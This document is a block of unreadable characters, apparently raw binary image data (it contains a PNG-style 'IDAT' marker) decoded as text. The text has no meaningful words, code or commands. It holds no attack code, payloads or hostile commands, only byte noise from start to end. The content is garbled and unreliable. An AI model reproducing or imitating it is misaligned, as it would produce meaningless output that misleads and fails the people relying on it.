bƒ”äœ5k–€p„’”Ä¢ºçK/½Ä"œ$D£(ÖâJóçÏÿþûïCGŽéÑ£5†E±ð£>Bµ(ÃS©PQ‹ö§Ÿ~šéÉ^|ñE @%¢Š¨93&ˆ>|x«ª}ùùÇvïþÆÇÇ 'Oþ-4^^Ž-&Àô¬y•¯.w3¹UmªŠš…̇Ÿ‡»—]"oÖÜ´õÑ™ ÌùL¥÷ÒgûxXþ)hÓBôú¹|h&9ùUww»†²æ¾?.ßp¢òÙÉ í‚c®<¨Ui‡Ý[ï°”^’$ t XþÑ¡.ž8¸aØÉø¾ÎÆÆNIØ‚mµ#̸«ÎAÀ1  ‘ê?€è€ûµåW_}x!à ª5 ."D4ãw™>}úË/¿,€L ÂÝB ŠˆHT0Þ@ ’·¤DK ¹µP¸çÎ#ÞAŽ î¸¨®ß´ÚË(ír_Öx\„%r¤¡Ù"!(AøÂC![׋‹tï½÷Âç%Sšv®"&—\k¢?œ‚ss á…†¬%žàòåËéùÕW_ñdÇŽËÉoúóŸÿL6cÒ* ä_h7d3Ýyç°h$Ì$ 'Ô†>ûì3F`@r ˆ6 Ä.AرÐýTûœa=c±tEéÙßž=û»³Š£ 4î¢ïŽîñï±÷Åzø{H8¦e›¿Ÿ¿~AÁ¦‡ãG¿š|«8F§+?sæ1µ:3>þ7.À1å ÝçÛåŠ{í¶×ã­Z»â÷+b»ÇÎ|k¦„cZþŒIg% ´¯,%òV­ZpA•„¯û?üð¬l~lФɴït»ðÝÁ|3x¿p{@^1J^{í5¾YpÒ@ %ò@9ÈÀà}Éû¯ý Å^Tì`ÉàÅa†"ÌDG X¸AC==ο!Ñšüm oñ-\¸þ//òŸ§¦á,Ë\‚φ(Wñ‘@Ä–äBtùD‡0{~ªN©ô5z”yÝ n}”Í—ù&øú&úº·Ç·s{Ò^×Väò/Ù/꺠ná^v•z5™²ûjjvGGßéëëtf í=çj ùÞ?"66¤èÛêjõ–O¶\wËu1Ýc<½]]¡½>0Ò}% tR XB‹eYeK,NIoaÜèÝ¡à"Fp¸ ùJ.\:t(0Âü¦4 Ñ ÎŠygóâ1Žü.Hê‰1,ñ”•¸ë€>࡞¬¼Êæn%+JŒ £®LgTñ»$þ6Qr½´Õ˜;«³ÖVÚóƈþm½¶QSQÑpÆ$&>çí}¹ F£nkX¶·äx¡òÉ ñ¡íƒc¶µýÚiׯö¸\?Äak“’, YÀÑhÊ8úvÒx’š¶€V®5éLÅK‹ë ꃉº=ÊÝÇ=dHˆ[;°#šžagiÕõ¯æüX®WÞÑÿ®hprð-/ÿ)$dxpð .0B^EÝê£åGö°½”ÍóÄ¿X‘W±oÙ¾!÷ ‰Hrh³yªÒ…’$ ˆhšö+ž–$ 8Ϻ]õÎj·¾d^ƒ²!„$ó¾xøX²¸œ7®4ò–ªÓ™ª"² ?èq_ ‡ü0|ËË©ÈöPPP}=/g¿¶gUÿ¸¿ì¾á1ƒRÚ'-cYƹŒsÓ^š×@ÊÙæ•Æ—,ÐU- yeºê“í ë"`ÄÌJ(»Pß1tl¨š?Ø%òæÈ:ãÎ3­¯‹w}!ßþqÏ9}döϚ׆…MˆŠr…ÌwÞ¸ëlu~…vΈv‹élýtk|¯øžczÚo=iÉ’\i ʸÒÚWé½jöÖP ‰’šóšz7Œ»[Ì1þ½üI¢ö‰u€çà*5«Ù²O© ð ó  $d¨—½ Òÿ¿½ë€kêÚÃLBž²Ä½÷­«®ªU«Õ¶jµvÚi[kkÇsuXë¶¶ÖÖ·uàÞ[8½ @ {½/\Óˆ’çþÞ£'÷žñ?ßœÿD)¥òò 7¼½GÁËÚdújfŠß$ä âzjw?›¸tg%fáž!ž±}bëk“d^‚A Þ T¦Þ mÚ‹v‰Ê/•Ãë…F§q‚8 /z•žªMÝ´±ðî‘&piöþ ¶G¤“o?w ÃZ- C®g0Ü}}'#“¯…Å­jº;ù²ƒ7K¦÷ôsf[c¹‡E¸¶çZQzQhûÐÈ.E>ÜÜ!ìs*ƒ!·nÝBfDçZVhøÓ!— ²Ê"Ʋ37¦Ùrrrš9먚ÕÔÖ PJ ¡ÎÆ&ä}Y³f ÒâKEÚ ½N¯Ì®Ì%£§¡€@þÆ|ºƒN¡sïïÎ áÀ‘G¼–<[‰×ˆ×…žë³ŒÝeZùxŸŽmy!uL Ôj¡H´W*M zË áÖZ¾ Lõó™B4^è±ð/œ¾úÕW#âºÓ„N5ìOºvˆ€¹Û/2ˆüòË/(îcq*ƒh^¤YCymBeªü")ËÕ«W‘?!Ó(S€”0†Gм3gÎ B¥³‘9¦OŸ>fƒD/®¶•)Þ] ƒ$ñH•§b±‘¶Ž%`E.»ÿw-‰®ò-[êæ©²{Éò‚ôáÞL xÈJ$çSSß ÿZ €2Æüׂ¥Ä6'·T5eíí5S£#|8Ž6T“J’%E÷Š&<Æô½6A !"`þ; ùÙ,•ÕidQÜçí·ßFý ÌLª<ê[‚ÜtÈð‹ÄwÈINóÒK/!ÇÌ?ÿü= CäêÅMÔ+ðô4xÈÖ7˜:™ÎøŽ:bô4¸¹ä¯Ë7À0h®]\Q€b¸õ‚c¨Õ~ÔÖÈ} " שÏJRRåÂÖ¼àiC¶Ã:^jµ(#ãc—‘‘ßY'Üú^¡|ùÁoæúiÑáÞuõìy²íg_üã¢_¬_—‰]žl2Š @°Ì©Œ™dÈúŠ„³8G)~ƒ´ú¸ÃçóqJÓÌlPº@¯àë닞HȆó9ïQâç…^ nR3#‰0ÒË"E,Wü˜ ß°>N˜0‰z)ª×ªU+päükÖ,0TÀ¦ú á/jS£dÒ§ëÅ<°å®Êud˜ŸX ,ðkq`ÃËóþùˆFø×á¦â‘¶mø©àt¾ªÔåúYØ(¶cuÿlk.gjê<…"3:N¾0QÕdÝ‹é券F¤xLMú[¼x̱UÇØH·ÿÚk¯µÀ_jü5ìØ±7bȸqãÆo“mÛç¢ÐuÍ›7ïܹs 5(ëHihPÎzáÂ…Àæžwß}·š¢¨UT~¡Ir«Ü\[X~,ï‘Þÿí 7^<ïQ«œÜ´W*2?ÏØ=ݯG/·¨0Ž·EÖ‰¶ãþþ³¸Ü8ëð˜©æ«½™îìY}XŒª¿¢ÙZ5“h”š#?‰íÔ2¨šnäA€ ÐਚÊà={ö,|Naò€> $$žT¥ÃvíÚ¡ˆ ˆ XÈ’%K°aDÓ `!Ú±±±ˆ©AJpàù#úƒÓ >‚Í bûöíñE ˜ÓàðªW¡ƒA,ëׯ}nœÅgΜ ÌᎠ²ˆJŸ0ÞU)†ï󈟭.½˜™kdªœ‰Ü´ $Zù?Å×oJsÇùtâÙÊ"2)•Y¥¥'**®¾ÅãYfÎÇ &*7¸~µ`‡Í!I“ò“óczÇóØ÷E:US(RSSQHrÏž=à`!(§Œ.WWWÔÄ>Ѧhp²"”fçΨä åAtt4¥N€êóà§| 3~¤º?’4.`¸€¨^ÿþýŸzê)B|ćʑ¿ÿþûôéÓ«ÄŠÔ‹®–†xóhéß Ï…9y·pü:3dæX7>>®ÙÐåÔE2Ö&ª$ÊÓö—Ü€&• és()/¿œŸ¿ÆËkŒ§çëTS€9%ʯöf já1¬µÍâ¥biþ|qŽxÜâq‡ìÙä-“E úCÀ¼pÙJл@§‚€dÍ7{düˆ˜&¤¦Eè5¨ n"ÐzÒ¤I›6m¡ ­ â±áüaff2Ž% S ßB¼’’x&Q`â)˜JbbbFF\‘`õ3í¶QË…6Ù œñ1±"kî½_çöãÝe,%³Z]\R²O«•ùû¿h„1\­Õÿy±¨P¢z±§À…cþg’¥¶öØy`W:±î„J¡>ß5½+é@ Ô7¡25YþäÉ““'Ož;wn§Npš=ztÇŽP$ÀÞT“á¤A  " Ó*zõ—™ÿÄrýàÛÛÿÀ¾ŽhÀDœ“³L¯Wñxm=<×q¶š/•i~>]ØÌשg´«­ C‚Ù[}¬$«¤ÿÜþ®‚û àšoô$( 2ØùÞ½{W®\‰\´06¿óÎ;¨Ô@!bê%7—çhå<7°¿€åZ÷JFËÊNK¥·x¼xgç–tzÕAûÆÎlì¼":˜$~spP„·ÍLœ¹I¹içҼýQãšãb31,ˆ*™Š @¨!–¡2ÔbÈö xøÖpmÒ Ð¤€cï’ìýåZy¸“wkç¶.sÂÕé”ÙÙ‹¡‰ápBy¼ÖÐÇX ØëÙ¿žjîÑ7ÎÍj‹>¼Ðµ½×ö,Ú3nɸȮDü0<äA ‘#`I*ÓÈ¡"Û#<)é ÑMiξâ/ù÷b9Л;[2»‰\ž"nQ©„¯ {ï“ÊXëqH|·d¶¿;»œ{œ?·Öã-4 ¬ ,+1KZ"mÖ½™g°Í-´2 A€ ð$*ó$¨‘1"P¡Uì]M‘ ფ½5Uónùùë ·ÄÄl€>¦æ£êÞó‹Âìbå³¼ƒ³g”«'ÏfÒuZÝö¶³œYý^éÇu·™N¨Žï‘ ',‚€Í&-"=™„ `ohôÚ#âÛ«óù2ùSÝã»Z0O 6‹%±ø DrÉt ûŒÁ°^‰é¡<)Gzè–xJ7A{Û%¾içÓrnäÈËäCçes-–†ÇÞ¾KD‚A †­L "ÝA@OÓo)<—*6ã <Î=â3àIëòòVÑ鮞žC ëkuú…»2QDÉßõLÛG¦˜z’ Õ~ *!âzâ÷IaÈÚƒGF'„Ê4Î÷JveM’eeZù†ü“Ã<[Ç;s,ì|Šª¬0')•y"Ñß³hmÍÝÝÈ‘î»^|O¨øö¹H.Ë–¥ÕE¢ŒK(› _¾Ïý‚eÖ„‚¬E Ø'„ÊØç{!R5 ÎJRaN:Y–Üß=îí zÉG‡ë´´÷Tª"¨£de\ö^+9™\úBA´ÀÆþ(ÂTáéM§ýbü:?×ÙÊ å;GÀ• ‘«W£TÁÎÎem(â1XLÿÀä;n(9k‹€H].Ó©gíïêáÃä#¸™îj;Écû£ø@qñn¤¼ƒ9ÉÕµ›ƒý±C,Õ¡B©MÊW˦çÀxCA^*™jǧ;ÜüÜúÌìÃäØÌÑØ†¥ êp¸{÷ntt´ e„‹§»žFØLõp=þ©#‘}ãßS ,||oÒ£A! שO”ÞE|õ©²{® îëÜõ¢«‰‘HΈŇ½¼Fº¸´·fÞ^¼£·KÏ¥IŽ3zûñlpcÿ¼¤¼6#ÛxyÒ™Ö#s ê‹I„%4uT Âçü u×Þ*šåìhŽà4úJdiÓ¸–¦Å}Gšá÷ˆÎ„î8 ‚!ÍÞŽøŸH³p¿²æÔ¢õ7KP÷©ù©™+f®Ioº45ªî?ÿ•ö?[¨í´”´”x\ïûY¯ßÛz¢¶“þöŒõ®/8yD|+Œã=À£ùòÈ õ$mQÑßeeÇ‘$†ÍŠŒü¦žVyÔ´pï]¼/ûLŠdÃôh/ÛZSâAO ‹èK—I]ø¾Ä3æQ/Ü'h÷ÿäRË• šLCS—ŠŽÿøW¯™£ÝÞ ÂŒ¬#ßmͼ|P…wŽï=ûYÏ`?ЏàiÆå¤ó[ö÷›;Þ;$PÂSÉZäåÒ„e›»NꬥiÐ |èøÚ¿8nÎÆ>¥K®üÃÙíë”!xRy ¨äŠ“k·ËËeC>œÎ$ÌÈ>ößtd %â?¤Í»“štà,p€´Ø¬V­1p mÕZNçêë %ÐÕ¿÷{e¢†¦¸˜3qûÑ 6ÑïcØ‘À’ô4ž—Û€·&yyøcuM¿aÆü¿æ}ûʶ¥¿ ãéÚÍ ¥B7YI}ô0UŽ¢Ìaü OñºAÚ§5)´!Öý÷¦Á¸†UL'Ç#ÜÁ}Ã#(c¹8rJ¢Qà«ðcÞQ¡ª¼ŸGlo·˜®_=m 5 5qIÉ©ô¦§çŸqŽŽÖ.PP¦úñhnV±òÅž~ÝšYÞs¹VÐi5Za²Î1ݦt‹êU«±¤3A€ ДxˆÊ<ÃQQ!·P«l&œ|‚ÃãQ<“ƾü×až—ë ÷§Þ\Í»¸ž#MÊ•žM‘¼Úß?ÂÇɲuªY÷Qn¹-L‚ÊLþa2ƒUÍï¥GM@îMGþÊwi7¦ÿ‰Õ7tnÇñƒ£û¶ó ¢x ryÅ='ÛàæÛ,´¦óا)¦Baé@§ïþfõöwWÌÝÿ}dûÖjšÒˆ±F©n9¤û?_lH»t=¦kGÌyóŸÓçÐq‰;Ž»¡}‰AçÎAS%<ç- NÓ>«ßÜw†Îp””€» _8³ýˆA÷.^ÞõÑ*:“©(¯h?n`ßYãÊ D;Þ_1ìÓ™>Á =3éNÂÒÍ£ÿ÷¥Á*Z­v÷¢5÷N&B/Åä°†~ürH›X¬uçäÅ>_Og±`;ë<ùénÓžÁòbño,É¿.ˆUHå:ÆDµc* iÛ/p…ArÞµùÇÝÜ®ÿ ÿÞܛ׫¸Hv‡ùsràÏ«¦xz«×媜¾½W³*ΧJbü¸ßMŒ¬²5oRF%E¹"¢cD¯{Ysi²A€ Ð8x$•.įYØóë>Þ»píî…«· ŠíßiÌÒ×ù>žp£ÉHº)-‘´¶Ú=fŒÞöη™¾¡?_ƒÉ†áxá×}Ù‰wƒÛÄ@+Ó§ƒX>7¡˜•ñêòŸ ñOw£³˜ÐÄÜïéèÞpjýž§«^§»w*±$³`òšù•!Pÿ™ D”–›zúÚ´Í =ƒü÷Ûö÷¿nÃrrüÞÔÀ˜èì;w7¿ôYL¿á’Â’ó›ÿùÉ«˜âúî“j…ŠåìDM„•›ï¾8yÝÇ\g—ë 'þ~÷ÛYÛ–px\×iÄç¯ø…¤]»±uîâØþÁÁX(ûZò´ŸºzyïúbUö•;»¹yÊÒleI¦¢xɼÀWüû:ÑYþ,·z•]§“K¥7 ¤ÕJ‚ç9œHk:Ä·v)½|wb±+—1§_‹aû¯lþü„oZoÝqœåˆwM‚@ãFà‘TÛ/‰ïß5¶ÇÜë)ÉÇ/ÿ³h¼U^Úô%ª¡#q ð.JË¥°JsEig¯ BC1ÊÑ‘®¬_úãàkû¿§3ËÌŽԹÈA¦ŠGGÇ–#zþñú²²R‘TT UJëgze^¾cÄE¯ÕåßJã8saTò ý¿¹ÞAUF0ë´Ö#ªK òñ‹·O¿”ÔmôpX‚ Z††çíž}õn`TT÷Gîÿjã€7'AEÎÐO^‚e ì µF•¸íX÷—F6‹„FªÇ”‘—·&\ùûp)£ÂÚŃè@¤@}3ؘò’Rùîî7÷ž2zxC ùVÃ{‚KÁ¯)Õ[ ;DàHéí4¹°B«ÌS•örÞ3Í:BŠD»Tª•ª04ô3GG–u5[åÔ½2X”àójÿ«md0 ‰ïÎo=¯¬PNün"IcŠ iµE :*cˆ+® ~nѲ¸Ëö~åäp=ùW·åòy K€ó«{ Ï…-ûÛŽîÇd± whÏ.+¢Mk¨vúηíÝ¡m›{ùëþ ¥“oÙj0$ð˜€Í<|ý2t†oêÂ$Nn.W}àÅÇ(ä!Ö UÉcŒý)(Q¼Býeb‰TQvhÅ–äc—d¥pOfrؘ§ÅnGøãÞÉ+L.áßaâõZƒG°#ݱ¢¼TVZ.ˆ ÂTLƒïëYp'ƒAcûáô Iò²ŠÂäL–G,*Òj4‚˜0t†' HÌ}¹ÉìB•/t]þ (cyÄ7s´q æÓïkãêU^¦$-íC†‡Ç w÷ANNõº\•“‹ÊÕå ÍÒ9Ý›¹vŽàÏèÍ«²›5oâßËñµÇ‹Ò‹Z iÞ)œðk‚OÖ"4JIe „€7.ï ¥¼hñÑ#HÀârè ÖÝ£—éŽô—ûšëΫ<õÙ7žþaø›ÂÔì€Øf0ÁÑÄ+, r fÀ“n'\سhíó«>2š‡ÀTœéü¸þO¯ß •HŸÙϲhp±ü!À< ‰TÎGÌTþÛñBYE…8WÈ÷õئ£!tˆI ëïzbõ6Ÿ€ýI­Ò=pœœÇ.ãÆî“gÝ^ÜÄS̯¢©:L”}5”ð.- qÁßjxDájíÿp›G"ލ¥¤N§^¼.•lžñ¹N­EÊ»¬ËwÃ:6ìÚÚªÀ<(yš?ÕUœ]˜|ìrÇ ƒ)›DÕiµL:»Ë”a‡¾Ù’|þ²R*Û½h5Í„žI¥SÜNÇ~¡ÂI=sZ2WØö-Ú~í¦¨ ™iÊ‹ÄĺôÈ7d­*TÖªfì|7íÏ<¥X£×¸(lôâˆql+ðdˆÉÌü45užB‘_ÿ™ÁÁï[ŸÇhtú›9Ò·~O…7ÌŠÉQŸŒµSVPöÛ›¿åßÎjÝ+šðký³ ë?fZ=¬'¡ã }AÐPLßû¿Ü¸jÌ»î~Þ2‰Ä3ÄÔ—sJJòñ;¨ó”!jš‚‚Z77¯6£ú V£W!Á b‘8.t€ &¬u‹~¯O¸¾ëxÛQýLf@‹H<…¦Ç+8`ä—³½Üx.n 2\w—À–Í0øÎÁíbèlˆ÷x:ƒ\5!~ÇWþUœÉd³¦þ´€ïá9`ÞäƒÿÛtûÐA`«(¸Ô'4m@H„oT°g¨ŸwH$‡:Ç?.ÂÙÃröž5«ýþæÿé ¾ûÄUï;ó]¡žôK~9½a'ôRA­£!'„úýHð§x†„´c°X _$ˆÉ&ÿb+²‹$Ó*·‰®0è3ýûàgÇÓšÂÈdw‘$¦´ô„J% z›Ã ±æê¦k%fUì¸*âssû„xY;Q©$ƶV­Í¼’yïô½sx…zï“A€ @°ÉÉÉQQQoZÙ¢_h)`HBPŽjð J‰R˜’!LÍqó÷Apb§¡‡' ³BPޱ PZTv0Ì`úmÊÙ¥ò©†zJ-A™09üN*g¨L\G£T5&“g3m`†ÝŸ­–—ÿæíâ¬|Woƒeà(4‡2a1ìN®^^hS£3Zë¦Íï:uXlŸNÔºØ/Ôv [y™nË^þÔŒÅrâžl÷)Éh¼U/¾“¶ýl~±ÐTNÒ¶8{Н«+Ý0W)Vëu ç9ý,¾Êc'‰v€Ä¨Õ"¦Ô×w*—k ã¶ºVÎÝqEôóK±þn¶wì¥@H:˜$L–敞7؉o %[OÖ%l…€™Vĉ/ xqQ'½od¨_$êé*‰…!.ufWvyðƒ¢)•ŸÌ`|lòô?é%¨nXBóo‚]Ó¶q’G5`SÉ•àM^Á†RPԜ؈›nRK¨†R%Î-J=sM§Ñ†wjAqÌ Þfœ[ãºò]ùÆ=R\ÊÃ_€†é.¨áž†dĦ÷S‘†e@=j±F†9wŠ®Þ–å9:8óhÍП÷ífÙµj2›Z]„,½……[e0ÛÅ¥“¡—®â 5¢“~;/ÓÞ{üÌ8/—©·m$‘aÙÜ›¹»>ÛÕiB§Ø~±‚( %!Ks*óðnäàáGöp #°U3¹¤Â@TŠyP‚Á6d"¡ƒV¥Ýýɪ²<ÑØ¥o:q]ŒŒÍ¤¡ jò@›ôï3ŠýûéÁuÿAÒªл/½‹9 &C!‚Šlª û‹~=q‡ãh›[,NÐj+**aEjÖì{GGx¬Û,ùîv^ÝÌ•ùò™Ë'Dr˜6£S¦ï!Ö7ÞL¿˜Ž¥¶Ï´5}DÚ‚AÀâ<žÊX|IËNæÑqÌ`(]àÜSÍÌ膄“×ÎGª&ƒý(SÍ ä‘€Ë‹ámzý²œåZ>"s]„“7ÈåXŸõÅ®ú ¢Ô@vöWˆÜwqéL¥?¯Íüsuz<]fô¡Oöˆ?©F'y²áõ: j§   µeË–=ýôÓÎΆ¿¼ë¸ßzu„ìèi?ž¾'/„µË©ôÚö¼PšØòzºE½ìß«žÄ¨û´H:­Ó©‹‹w–•trŠF‘ÈÈo¸Ü'çÊuÉ8C™\³tŽ\¥mæòãä¨H_[: ¥¢ðí¦®:?(~² fOÉG‚A€ `eÌ5r¹gª‹‹KQQNSØ;ŒCÝâåe° •ŒzO¿û´›xצ“6A€ Ð(0§2GŽùé§Ÿ"##oܸZðÅ_tïÞ;_¼xñáÇÁ`ú÷ïÿÎ;¯ ª¼ðôÀ'NœX³fMNNÎСC{÷în¦|\dÑ¢EàC )))8wW¬X“ Ì=?þø#åóÆoôíÛ÷ôéÓ;wîüòË/)—t¸råÊäÉ“/‚½÷Þ{˜³E‹Xˆ:Úÿúë¯uëÖa*ö¸Ù­›!sÚ½{÷Þ~ûm±XŒ¤ÆYYYF7ãlöÓÀvÁœ9sV¯^ýÜsϹº¢ØÂƒ«¤¤˜^€ß¶m[lÊÃÃãŸþùã?®_¿Z Z‡ïT0@¶(æÍ›×«×#U#H=·,çàÃyQ”:uÛ”…Q©n¡ä@U£8®ÿsQˆÕÀZÚ¬¬%:¢²°€ÞÏïe&Óªõ ªA VÞeû³ËÚwâ«'v†»±}]×ÿ¹žv! •zNëÉ÷­G‡3ûÚ6‘† @°{Ì©eŽd) IDAT ´#Û·o_¿~ý¤I“>þøãO?ý4!!üàèѣ˗/Ç!ºpá‹/vêÔ GæG}äççR‚nóçυÆÃÀnaæŸ è:À¹´Ÿ}öåè ÚøË/¿|øá‡èƒy^|ñÅ1cÆ€EaÔÚµkqrS³QÖ%,EÎ’%Kðô›o¾C‚Q²AôÁ€ @~ÈvðàAäX£o¿ýgÏžmÊ®ìðí€Í<ûì³`„'Ož#¤ö 9!<^öˆ]ã'˜å×_ P´mÛ¶A‹ªH?ÿüs°@¨µð:`®PgΜYùí÷œxÿÅgÎ)/)ƒ=Æ»ŠØx·Dsýxt»ÖcÕä ªT:L£)Ëχ'/ÇÇçYצ&c­Ó'G¬¼ž-ý뒪ș}üÛ†ØW3ÌI¢tÑᕇáÕÛ~LûÀø@ëÀBV!5DÀœÊà˜o=z4 ÐÊàpýõ×_[·nŸŸIa»šTN¸8GAÐaâĉpïÀS¸z€ôPê‡%˜6mZçΆ¿é—.]ŠU²³³¡æ¡zâß±cÜ{ãããGŒ±eËP™Û·ogffBK!•JÑ G;,_°aý!áSO=uçÎ,†q*¸ì` ¨Ì… À®@ðhÔ¨Q JTûü üÝÝÝH¨ŒQHìäfëÖ­111¸ Ê2räHè¥@ Á)Ÿyæh›à#ŒQxŠûЮÇ@û…÷•ž“%½ž½¢÷$àgœÐØÀ-{óÀ5ÊVÇHL¥'ï¯<^;&Ó;2ryå7ÈŽÀ!`JKKÃ9 Ýþâoß¾= ¼:p¾‚m@ÛAÝÁIŒ>ø Q%pxJÝ g &‡˪U« éUÂB”‹Ì”Ê wp$Ä„pq”½Ä@<Åñ © Å¡æÏ ”18¼Aerss¡Ï¸zõ*|D`Æ‚ èìææfì\¥Hvx4ÁÞÞH0“¬À„GI º¿ØËÀí°AÊï‹B/ n7ÇŽ¸ÙªU+'Ž“©È·l)‘´Úr¤³ËÏ_ M‡Êá„GD,wvnn©ù-2\¥»–]ñÓéB‘D5­§ß§Ï„ÙÙU\pxÅáÈ®‘]"z½üH¥IMÄ!š"æT€m BødÀÞ% |eŒ‡+znܸG)˜ ´&3fÌ Æâ45šEFÔhuƒAOµZýüóσּùæ›8ªgΜ „Q8}£££Aqp„ÃØDÍLýÄq+HŽs܃>R7¡jÙ²%ÌU'˜ Æ&˜´pÁ‘!?~ÚÿÀÁf ¸‚nŒb'Ø ƒŒÚìkpòõõW3}_ÔÖp470óá)˜Ÿñ…ÚÿÞŸ@Bä²++;ƒo®R™WZzÌÙ9U0γO^ã¦Î¥J”ÝâP/ö§Ï„ð9 '–¹w¼±³­—2äynRî°‡Ÿ[½².A€ PsÌâÌ}¡Æ£ ª£túôépÑ€<ø  ²·ÁE®38qៗ[ÜÄ©‰P™LvéÒ% Ü())‰šS¡:À\ÖÒ¥K˜?Áfà—Š!0ix :Ãׯ,j8¨ .¨Xzôèw̃ãÞ¯íÚµƒM Ž®¦˜¥Î;~ùaW Æ¡ê‡Y(–°#j6;ü‰Ý9ÇË/¿ ¾²ÿ~JãGìŽ;~òÉ'/ì ¬Ë¨ô‚bæ…^€«/€‚À¸m" AOxÌÀç €ÏkjGhS(tÅDÀ™j"˜ìGI%—§@û'¡ð7Ð>(`JÍ`xÀ–ô¨!¶½ŸZ$?v»ôä½²6Á.Ïvônd_.½8†<1iÂÓ?–—ÉáØÛ}jwž—=ÊiÛWIV'ìC¶ß -ôŸ6·f1È üT ù“0{ •üXÁ?k­ ìG8‰ÑFøvÀZdÌ•B „NV-œß +fSQ‘Ãç4E¶¨;XS!ó uüGÁon7¦<Éø¨Á5°A°=в†¡2öõáòŒ8,¤0F¹}Iöhi~H«­@8Qe}aáf”›F#Tmär›99Å Gîîý=‡]?‘ÈQ™]¿éLÁ©ä²aüÖÁÎÍ|½íHÅR$‰áûð}›ùz†x4¿Ÿ*Ú®±&ÂÚ#@¨Lí1«·Èe‡¼É¨9€Ì~HÞó¨(ôz[¿ÃEújü]˜L/8êâ#h@0᜻õˆ?¢î×bj{êzôN)œyÞ.-“kgôò ô`»qíי׈\ÆåŒ‚»)gSžzû)8Ä0Ø @f£ð¤A j‹¡2µE¬¾ú£„õÔ©SQz Y‘þ)’Q5Óvº™ÿd*(øE&»ƒH¢ÊÍãË®TÃ@£‡Ç®§çÐúÂÅêób{B‰ê»„\6Ã!Ê‹Žíàm‡5’ªFO;¸ü õúDú¢ˆ²®¢¹E æTÖ ä¬CV_ª\rÐaËH1‡nRÛG†ÜAp5 O6:@l¶!”ŽBdÓ¨‰<ÿý7•%¹þdR«EÈœ‹2Æ%4QNÎwlöƒ,#:ÒÛ{4ÒòýkBBb:º“S3ãÆÑHÊ•¢Êãâ}Ù>|¦· klGo&Ý!ÒÇÞ­HøpˆAɤ«;¯ö|±'›Ëöõ¯ªzãxQd‚AÀsÍóñãÇQìõ}6oÞ#r¿~÷½IPg ånß¾c*#'¨ÕE¦|…°²ÄV1¨ ‚‰Œ"Ã3××w¢—×HãÆÝ(®Pï½^ê#!9ïð¶ž;û6 -_Û{MZ"-É*qtŸ²jJ’œˆJ ,…€9•),,D…£}ûö¡5j ÙnBBü6p%“6lØg˜?>TQ¶ºK‰ÒÄç;4î;¤ÓBa®FS\ea‰ÜÜðˆr§­7x´¸¹õe±UQ‡ÇÓL¦¡ÆS“º@_`Eºž]ñûya„RÂÀæùn€¨a\:­.½¢tª&µÒÒÍϭ㸎 –ù¿å†±"%A€ @¨3æ¿þpˆâZ¶l3(ª¼qãÆ &àj¢ÄÒ(ëÖmÙ²e×®]ë,™à>f¤Ž) EjNÎZíëÏ¿`á v ý„F3}ÿv0ý¯žÁ v@ `0gS% íÙ‰ž¦ïÎÿß³l¦£óa„M´¯vòÉd„U§O n<ú‹Ñ$¸Ú¾^‘† @°æg!Š¡¼UAõËÊÊ.\¸pëjøÑPIÎ1³gÏFõixr €ö[o½5qâD[ˆÝ×D‘NPFjc:˜yT2?¿®¡¡ãáV­µ%a©ô"Åšãù â~®lof˜7güÄHk‰`±uÔ õ¾Åûð‘ÕÁ­‚{¼`×µ¨,¶m2A€ @¨æTCàáK©nnnð˜éС”1pû…æN3»wïÎÉÉÙµkׂ ¢¢¢ð´ ‘.A ""Þ¾T'˜óP„¼Y³ˆÇŒ!«B9`næH¥*-ìGZ ÜezHéÉ£‚°ªf—÷$…q®•«‘æ®ïì¾tTÆ.%%B›!`NeðÇ+Tø ‰¼½½ûôé瘶mÛB%såÊhâäìì 3zôè+V ŠÍdo\ >üã?† ª/Ä.q¹ÜV­Z5®-ÖïnÔZýŸ‹ðåUjt©Er+û»‰ ;ÌêÜ–s 2%9%(50iŤú…ÌN ,æT†Ífƒµ·‡ß÷ßðàÁ¸ U >&&&®]»ÖËË šƒ!C†têÔÉØ™4ê‚—Î;7jÔ(Ä.ݹs4‘Él`*„ºlÿ Æ–Ê4*­^«Õ8E‘xlúÀæ`á^.Ìé=j!d…‘—Éüp„΢7ïß¼åS-¹îv]Ýé ^B ,‹€y^’pAûb\gNV„^ÇÄÄ@H$JNN°‰˜9«G‘Æ“!pêÔ©´´4К€’f¾ QétJÃÑÓ—Ò%HÂËf:¼90ˆÃ4E¹¬Síáá½e^ÉÌ»‡ÊÕn·~¯öÿ,¶³!2¹‚A zÌ©Lõ½ÉS‚€5€¥”WN‰òÇ£yh øLT`Ðt:Úð6žlFC >z:„UÓô´Ã?Fb¿8?ßH_Ø’îFî‚@5*S 8ä‘ P¨uH¼KwÄ7“¶çZq¡D!ÝÙ¨€À48×Ý*AÌJ̹°õ‚J¦ê>µ;×ëîíàH²4U‰¹I ªC€P™êÐ!Ϭ†À¶Ë"™ÊP€Z©Öe•(¡nÑhõ³ûùûðØ:­&L½.”q)#ójfi~)‘žš÷Ù€bõ ™œ @ ÔBejéfà« ½ æ‚ÒåjVÅîD2Ô!eôÓ­<9 G˜üÝXÈÀk™Åìc­Z[Q\Ÿ³+Û¯ fuL¯AŒ ¼c¸}HG¤  s*ƒr¸DSþ¼ˆ1æóù 6²Ú °ÿF •­ž!×s*J¤øí‚ÐôŒr܃*}Ñ =v«ãÖá[ç·œ‡³<ÒòvŸÒÝ7ÊåI­Çj#‚@m0§2Û¶mÛ¹sçúõ멚ص®šþømþÒK/õíÛ—$®%Ä…;v i{ðX5¸ÜƒHëbÜ×½BÙ†“0Aõ ÓZ»PN °=ÕÒ£±²jûZž¼ŠrÅ¥På˜f‹§ZÀœdć4‚AÀ‚˜ç•)--E‰f*E^—A „ŒŒŒÐÐPäªÁT˜ÙlÅbq§m¬ÃñŽBÈIˆHxÔ•\öœFÄ%1«‚"(° ”©þ¹^‚¸h¼µF%pšÓ/€R·ÀN»õ­™î ÑÔðä½ü÷e¥LéäâÔóåžPmz7¹j¦˜6A€ @°æTÙ9,¥qyöÙgÿúë¯fÍî']Ą̊{`…]5Ä%P¼5;W®\ œÊ"F½ ”+h#@šÉ0pøçÆøq|¾a§Ö}bÌåùåm—1\œ#†åè™OŸa°ÍÿY=ñäd A€ @ <ê~çB7€RØ7nÜèܹs¯^½ð'æÍ›7‘ÔäèÑ£>>>#Gޤ4.XæÄ‰(< ERç!ÏòéAÍ •J<˜Ý¥K‡ƒn0 `,z¢òv·nÝ+_“ê G%Ô‚@é+CÆ·z¾ J)¡t'ÔR°IäÚÕÇòþs“Fƒc^pp¡ºA ƒºŒÍ|•sn­ÀF]$X‘„)³[ÎzyÄõ‹c:1S]«IHg‚A€ @°USœ£0¡LÁ¥K—P({þüù3gΜ4iÒåË—çÍ›‡jA¨c°dÉД ‚P½|ñÅ 